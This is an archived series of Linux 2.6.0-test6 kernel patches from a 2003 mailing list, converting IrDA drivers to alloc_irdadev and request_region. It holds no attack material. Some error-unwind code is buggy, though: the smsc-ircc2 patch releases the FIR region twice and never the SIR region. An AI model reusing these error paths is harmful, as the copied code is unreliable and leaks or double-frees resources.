patches for 2.6.0-test6 Message-Id: <20030930152530.1e279c29.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev These patches are a replacement for the moderate one chunk I sent out yesterday. They continue in the same vein of revising how IRDA devices are allocated. The new thing is the introduction of alloc_irdadev and changing over the places I used alloc_netdev to that. Mostly they are trivial, but smsc-ircc2 got changed to get rid of check_region usage as well. David, please apply after Jean gives his approval. From shemminger@osdl.org Tue Sep 30 15:26:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:12 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQdFx019973 for ; Tue, 30 Sep 2003 15:26:39 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ7106074; Tue, 30 Sep 2003 15:26:07 -0700 Date: Tue, 30 Sep 2003 15:21:36 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (10/16) smsc-ircc2 -- use unregister_netdev Message-Id: <20030930152136.73c68299.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev No need to expose rtnl_lock, it is done in unregister_netdev. diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 11:56:14 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 11:56:14 2003 @@ -1745,11 +1745,8 @@ pm_unregister(self->pmdev); /* Remove netdevice */ - if (self->netdev) { - rtnl_lock(); - unregister_netdevice(self->netdev); - rtnl_unlock(); - } + if (self->netdev) + unregister_netdev(self->netdev); /* Make sure the irq handler is not exectuting */ spin_lock_irqsave(&self->lock, flags); From shemminger@osdl.org Tue Sep 30 15:26:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:09 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQZFx019969 for ; Tue, 30 Sep 2003 15:26:36 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ3106021; Tue, 30 Sep 2003 15:26:03 -0700 Date: Tue, 30 Sep 2003 14:58:38 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (1/16) irda -- no self destruct Message-Id: <20030930145838.638ea0b4.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev For 2.6.0-test6 get rid of destructor for irda devices. Most of the drivers already call free_netdev themselves. Any drivers not calling free_netdev will be fixed in this patch sequence. diff -Nru a/net/irda/irda_device.c b/net/irda/irda_device.c --- a/net/irda/irda_device.c Tue Sep 30 11:56:16 2003 +++ b/net/irda/irda_device.c Tue Sep 30 11:56:16 2003 @@ -378,8 +378,6 @@ dev->hard_header_len = 0; dev->addr_len = 0; - dev->destructor = free_netdev; - dev->type = ARPHRD_IRDA; dev->tx_queue_len = 8; /* Window size + 1 s-frame */ From shemminger@osdl.org Tue Sep 30 15:26:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:06 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQXFx019962 for ; Tue, 30 Sep 2003 15:26:34 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ4106038; Tue, 30 Sep 2003 15:26:04 -0700 Date: Tue, 30 Sep 2003 15:01:44 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (3/16) irport -- convert to alloc_irdadev Message-Id: <20030930150144.2cc2e704.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev For 2.6.0-test6, convert irport to use alloc_irdadev and use dev->priv cleanup the error unwind code path diff -Nru a/drivers/net/irda/irport.c b/drivers/net/irda/irport.c --- a/drivers/net/irda/irport.c Tue Sep 30 11:56:21 2003 +++ b/drivers/net/irda/irport.c Tue Sep 30 11:56:21 2003 @@ -78,7 +78,6 @@ static inline int irport_write(int iobase, int fifo_size, __u8 *buf, int len); static inline void irport_receive(struct irport_cb *self); -static int irport_net_init(struct net_device *dev); static int irport_net_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static inline int irport_is_receiving(struct irport_cb *self); @@ -136,30 +135,27 @@ { struct net_device *dev; struct irport_cb *self; - void *ret; - int err; IRDA_DEBUG(1, "%s()\n", __FUNCTION__); /* Lock the port that we need */ - ret = request_region(iobase, IO_EXTENT, driver_name); - if (!ret) { + if (!request_region(iobase, IO_EXTENT, driver_name)) { IRDA_DEBUG(0, "%s(), can't get iobase of 0x%03x\n", __FUNCTION__, iobase); - return NULL; + goto err_out1; } /* * Allocate new instance of the driver */ - self = kmalloc(sizeof(struct irport_cb), GFP_KERNEL); - if (!self) { + dev = alloc_irdadev(sizeof(struct irport_cb)); + if (!dev) { ERROR("%s(), can't allocate memory for " - "control block!\n", __FUNCTION__); - release_region(iobase, IO_EXTENT); - return NULL; + "irda device!\n", __FUNCTION__); + goto err_out2; } - memset(self, 0, sizeof(struct irport_cb)); + + self = dev->priv; spin_lock_init(&self->lock); /* Need to store self somewhere */ @@ -189,8 +185,11 @@ self->rx_buff.truesize = IRDA_SKB_MAX_MTU; self->rx_buff.skb = __dev_alloc_skb(self->rx_buff.truesize, GFP_KERNEL); - if (self->rx_buff.skb == NULL) - return NULL; + if (self->rx_buff.skb == NULL) { + ERROR("%s(), can't allocate memory for " + "receive buffer!\n", __FUNCTION__); + goto err_out3; + } skb_reserve(self->rx_buff.skb, 1); self->rx_buff.head = self->rx_buff.skb->data; /* No need to memset the buffer, unless you are really pedantic */ @@ -208,30 +207,23 @@ self->tx_buff.head = (__u8 *) kmalloc(self->tx_buff.truesize, GFP_KERNEL); if (self->tx_buff.head == NULL) { - kfree_skb(self->rx_buff.skb); - self->rx_buff.skb = NULL; - self->rx_buff.head = NULL; - return NULL; + ERROR("%s(), can't allocate memory for " + "transmit buffer!\n", __FUNCTION__); + goto err_out4; } memset(self->tx_buff.head, 0, self->tx_buff.truesize); } self->tx_buff.data = self->tx_buff.head; - if (!(dev = dev_alloc("irda%d", &err))) { - ERROR("%s(), dev_alloc() failed!\n", __FUNCTION__); - return NULL; - } self->netdev = dev; /* Keep track of module usage */ SET_MODULE_OWNER(dev); /* May be overridden by piggyback drivers */ - dev->priv = (void *) self; self->interrupt = irport_interrupt; self->change_speed = irport_change_speed; /* Override the network functions we need to use */ - dev->init = irport_net_init; dev->hard_start_xmit = irport_hard_xmit; dev->tx_timeout = irport_timeout; dev->watchdog_timeo = HZ; /* Allow time enough for speed change */ @@ -244,17 +236,25 @@ dev->base_addr = iobase; dev->irq = irq; - rtnl_lock(); - err = register_netdevice(dev); - rtnl_unlock(); - if (err) { + if (register_netdev(dev)) { ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); - return NULL; + goto err_out5; } MESSAGE("IrDA: Registered device %s (irport io=0x%X irq=%d)\n", dev->name, iobase, irq); return self; + err_out5: + kfree(self->tx_buff.head); + err_out4: + kfree_skb(self->rx_buff.skb); + err_out3: + free_netdev(dev); + dev_self[i] = NULL; + err_out2: + release_region(iobase, IO_EXTENT); + err_out1: + return NULL; } int irport_close(struct irport_cb *self) @@ -267,8 +267,7 @@ self->dongle = NULL; /* Remove netdevice */ - if (self->netdev) - unregister_netdev(self->netdev); + unregister_netdev(self->netdev); /* Release the IO-port that this driver is using */ IRDA_DEBUG(0 , "%s(), Releasing Region %03x\n", @@ -284,7 +283,7 @@ /* Remove ourselves */ dev_self[self->index] = NULL; - kfree(self); + free_netdev(self->netdev); return 0; } @@ -884,16 +883,6 @@ spin_unlock(&self->lock); return IRQ_RETVAL(handled); -} - -static int irport_net_init(struct net_device *dev) -{ - /* Set up to be a normal IrDA network device driver */ - irda_device_setup(dev); - - /* Insert overrides below this line! */ - - return 0; } /* From shemminger@osdl.org Tue Sep 30 15:26:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:09 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQZFx019965 for ; Tue, 30 Sep 2003 15:26:35 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ6106062; Tue, 30 Sep 2003 15:26:06 -0700 Date: Tue, 30 Sep 2003 15:05:01 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (6/16) nsc-ircc use alloc_irdadev Message-Id: <20030930150501.10ca5113.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev diff -Nru a/drivers/net/irda/nsc-ircc.c b/drivers/net/irda/nsc-ircc.c --- a/drivers/net/irda/nsc-ircc.c Tue Sep 30 11:56:31 2003 +++ b/drivers/net/irda/nsc-ircc.c Tue Sep 30 11:56:31 2003 @@ -260,8 +260,7 @@ MESSAGE("%s, driver loaded (Dag Brattli)\n", driver_name); - dev = alloc_netdev(sizeof(struct nsc_ircc_cb), "irda%d", - irda_device_setup); + dev = alloc_irdadev(sizeof(struct nsc_ircc_cb)); if (dev == NULL) { ERROR("%s(), can't allocate memory for " "control block!\n", __FUNCTION__); From shemminger@osdl.org Tue Sep 30 15:26:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:11 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQcFx019972 for ; Tue, 30 Sep 2003 15:26:38 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ7106070; Tue, 30 Sep 2003 15:26:07 -0700 Date: Tue, 30 Sep 2003 15:06:05 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (7/16) af_ir use alloc_irdadev Message-Id: <20030930150605.65d9233e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev diff -Nru a/drivers/net/irda/w83977af_ir.c b/drivers/net/irda/w83977af_ir.c --- a/drivers/net/irda/w83977af_ir.c Tue Sep 30 11:56:41 2003 +++ b/drivers/net/irda/w83977af_ir.c Tue Sep 30 11:56:41 2003 @@ -170,8 +170,7 @@ /* * Allocate new instance of the driver */ - dev = alloc_netdev(sizeof(struct w83977af_ir), "irda%d", - irda_device_setup); + dev = alloc_irdadev(sizeof(struct w83977af_ir)); if (dev == NULL) { printk( KERN_ERR "IrDA: Can't allocate memory for " "IrDA control block!\n"); From shemminger@osdl.org Tue Sep 30 15:26:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:18 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQiFx019997 for ; Tue, 30 Sep 2003 15:26:45 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ7106078; Tue, 30 Sep 2003 15:26:07 -0700 Date: Tue, 30 Sep 2003 15:07:44 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (8/16) sir - alloc_irdadev Message-Id: <20030930150744.019054e8.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert this driver to use alloc_irdadev and dev->priv to store local data. diff -Nru a/drivers/net/irda/sir_dev.c b/drivers/net/irda/sir_dev.c --- a/drivers/net/irda/sir_dev.c Tue Sep 30 11:56:36 2003 +++ b/drivers/net/irda/sir_dev.c Tue Sep 30 11:56:36 2003 @@ -538,28 +538,6 @@ /* ----------------------------------------------------------------------------- */ -static int sirdev_init(struct net_device *ndev) -{ - struct sir_dev *dev = ndev->priv; - - SET_MODULE_OWNER(ndev); - - /* Set up to be a normal IrDA network device driver */ - irda_device_setup(ndev); - - dev->flags = IFF_SIR | IFF_PIO; - - /* Override the network functions we need to use */ - ndev->hard_start_xmit = sirdev_hard_xmit; - ndev->open = sirdev_open; - ndev->stop = sirdev_close; - ndev->get_stats = sirdev_get_stats; - ndev->do_ioctl = sirdev_ioctl; - - return 0; -} - - struct sir_dev * sirdev_get_instance(const struct sir_driver *drv, const char *name) { struct net_device *ndev; @@ -577,12 +555,12 @@ /* * Allocate new instance of the device */ - dev = kmalloc(sizeof(*dev), GFP_KERNEL); - if (dev == NULL) { + ndev = alloc_irdadev(sizeof(*dev)); + if (ndev == NULL) { ERROR("%s - Can't allocate memory for IrDA control block!\n", __FUNCTION__); goto out; } - memset(dev, 0, sizeof(*dev)); + dev = ndev->priv; irda_init_max_qos_capabilies(&dev->qos); dev->qos.baud_rate.bits = IR_9600|IR_19200|IR_38400|IR_57600|IR_115200; @@ -591,11 +569,6 @@ strncpy(dev->hwname, name, sizeof(dev->hwname)-1); - ndev = kmalloc(sizeof(*ndev), GFP_KERNEL); - if (ndev == NULL) - goto out_freedev; - memset(ndev, 0, sizeof(*ndev)); - atomic_set(&dev->enable_rx, 0); dev->tx_skb = NULL; @@ -609,10 +582,17 @@ dev->drv = drv; dev->netdev = ndev; - ndev->priv = (void *) dev; - ndev->init = sirdev_init; + SET_MODULE_OWNER(ndev); + + dev->flags = IFF_SIR | IFF_PIO; + + /* Override the network functions we need to use */ + ndev->hard_start_xmit = sirdev_hard_xmit; + ndev->open = sirdev_open; + ndev->stop = sirdev_close; + ndev->get_stats = sirdev_get_stats; + ndev->do_ioctl = sirdev_ioctl; - strcpy(ndev->name, "irda%d"); if (register_netdev(ndev)) { ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); goto out_freenetdev; @@ -621,9 +601,7 @@ return dev; out_freenetdev: - kfree(ndev); -out_freedev: - kfree(dev); + free_netdev(ndev); out: return NULL; } @@ -653,10 +631,9 @@ up(&dev->fsm.sem); /* Remove netdevice */ - if (dev->netdev) - unregister_netdev(dev->netdev); + unregister_netdev(dev->netdev); - kfree(dev); + free_netdev(dev->netdev); return 0; } From shemminger@osdl.org Tue Sep 30 15:26:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:23 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQnFx020013 for ; Tue, 30 Sep 2003 15:26:50 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ4106034; Tue, 30 Sep 2003 15:26:04 -0700 Date: Tue, 30 Sep 2003 15:14:58 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (13/16) smsc-ircc2 -- replace check_region with request_region Message-Id: <20030930151458.2f7f8499.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Another place where better to use request_region (earlier in the process) rather than using check_region. diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:54 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:54 2003 @@ -140,7 +140,7 @@ static int smsc_ircc_open(unsigned int firbase, unsigned int sirbase, u8 dma, u8 irq); static int smsc_ircc_present(unsigned int fir_base, unsigned int sir_base); -static int smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq); +static void smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq); static int smsc_ircc_setup_buffers(struct smsc_ircc_cb *self); static void smsc_ircc_setup_qos(struct smsc_ircc_cb *self); static int smsc_ircc_setup_netdev(struct smsc_ircc_cb *self); @@ -370,12 +370,14 @@ IRDA_DEBUG(1, "%s\n", __FUNCTION__); - err= smsc_ircc_present(fir_base, sir_base); - if(err) return -ENODEV; + err = smsc_ircc_present(fir_base, sir_base); + if(err) + goto err_out; + err = -ENOMEM; if (dev_count>DIM(dev_self)) { WARNING("%s(), too many devices!\n", __FUNCTION__); - return -ENOMEM; + goto err_out1; } /* @@ -385,7 +387,7 @@ if (self == NULL) { ERROR("%s, Can't allocate memory for control block!\n", driver_name); - return -ENOMEM; + goto err_out1; } memset(self, 0, sizeof(struct smsc_ircc_cb)); @@ -394,10 +396,10 @@ spin_lock_init(&self->lock); err = smsc_ircc_setup_buffers(self); - if(err) return err; + if(err) + goto err_out1; - err= smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq); - if(err) return err; + smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq); smsc_ircc_setup_qos(self); @@ -409,13 +411,20 @@ else smsc_ircc_probe_transceiver(self); err = smsc_ircc_setup_netdev(self); - if(err) return err; + if(err) + goto err_out1; self->pmdev = pm_register(PM_SYS_DEV, PM_SYS_IRDA, smsc_ircc_pmproc); if (self->pmdev) self->pmdev->data = self; return 0; + + err_out1: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + release_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT); + err_out: + return err; } /* @@ -428,18 +437,20 @@ { unsigned char low, high, chip, config, dma, irq, version; - if (check_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT) < 0) { + if (!request_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT, + driver_name)) { WARNING("%s: can't get fir_base of 0x%03x\n", __FUNCTION__, fir_base); - return -ENODEV; + goto out1; } -#if POSSIBLE_USED_BY_SERIAL_DRIVER - if (check_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT) < 0) { + + if (!request_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT, + driver_name)) { WARNING("%s: can't get sir_base of 0x%03x\n", __FUNCTION__, sir_base); - return -ENODEV; + goto out2; } -#endif + register_bank(fir_base, 3); @@ -454,13 +465,20 @@ if (high != 0x10 || low != 0xb8 || (chip != 0xf1 && chip != 0xf2)) { WARNING("%s(), addr 0x%04x - no device found!\n", __FUNCTION__, fir_base); - return -ENODEV; + goto out3; } + MESSAGE("SMsC IrDA Controller found\n IrCC version %d.%d, " "firport 0x%03x, sirport 0x%03x dma=%d, irq=%d\n", chip & 0x0f, version, fir_base, sir_base, dma, irq); return 0; + out3: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + out2: + release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); + out1: + return -ENODEV; } /* @@ -510,10 +528,11 @@ * Setup I/O * */ -static int smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq) +static void smsc_ircc_setup_io(struct smsc_ircc_cb *self, + unsigned int fir_base, unsigned int sir_base, + u8 dma, u8 irq) { unsigned char config, chip_dma, chip_irq; - void *ret; register_bank(fir_base, 3); config = inb(fir_base+IRCC_INTERFACE); @@ -545,27 +564,6 @@ else self->io.dma = chip_dma; - ret = request_region(self->io.fir_base, self->io.fir_ext, driver_name); - if (!ret) { - WARNING("%s(), can't get iobase of 0x%03x\n", - __FUNCTION__, self->io.fir_base); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - ret = request_region(self->io.sir_base, self->io.sir_ext, driver_name); - if (!ret) { - WARNING("%s(), can't get iobase of 0x%03x\n", - __FUNCTION__, self->io.sir_base); - release_region(self->io.fir_base, self->io.fir_ext); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - - return 0; } /* From shemminger@osdl.org Tue Sep 30 15:26:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:27 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQsFx020027 for ; Tue, 30 Sep 2003 15:26:54 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ8106086; Tue, 30 Sep 2003 15:26:08 -0700 Date: Tue, 30 Sep 2003 15:08:38 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (9/16) via-ircc use alloc_irdadev Message-Id: <20030930150838.6ee2854a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev diff -Nru a/drivers/net/irda/via-ircc.c b/drivers/net/irda/via-ircc.c --- a/drivers/net/irda/via-ircc.c Tue Sep 30 11:56:39 2003 +++ b/drivers/net/irda/via-ircc.c Tue Sep 30 11:56:39 2003 @@ -335,8 +335,7 @@ return -1; /* Allocate new instance of the driver */ - dev = alloc_netdev(sizeof(struct via_ircc_cb), "irda%d", - irda_device_setup); + dev = alloc_irdadev(sizeof(struct via_ircc_cb)); if (dev == NULL) return -ENOMEM; From shemminger@osdl.org Tue Sep 30 15:26:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:27 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQrFx020023 for ; Tue, 30 Sep 2003 15:26:53 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ4106042; Tue, 30 Sep 2003 15:26:05 -0700 Date: Tue, 30 Sep 2003 15:17:01 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (14/16) smsc-ircc2 - whitespace and indentation Message-Id: <20030930151701.1886d195.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Small whitespace and 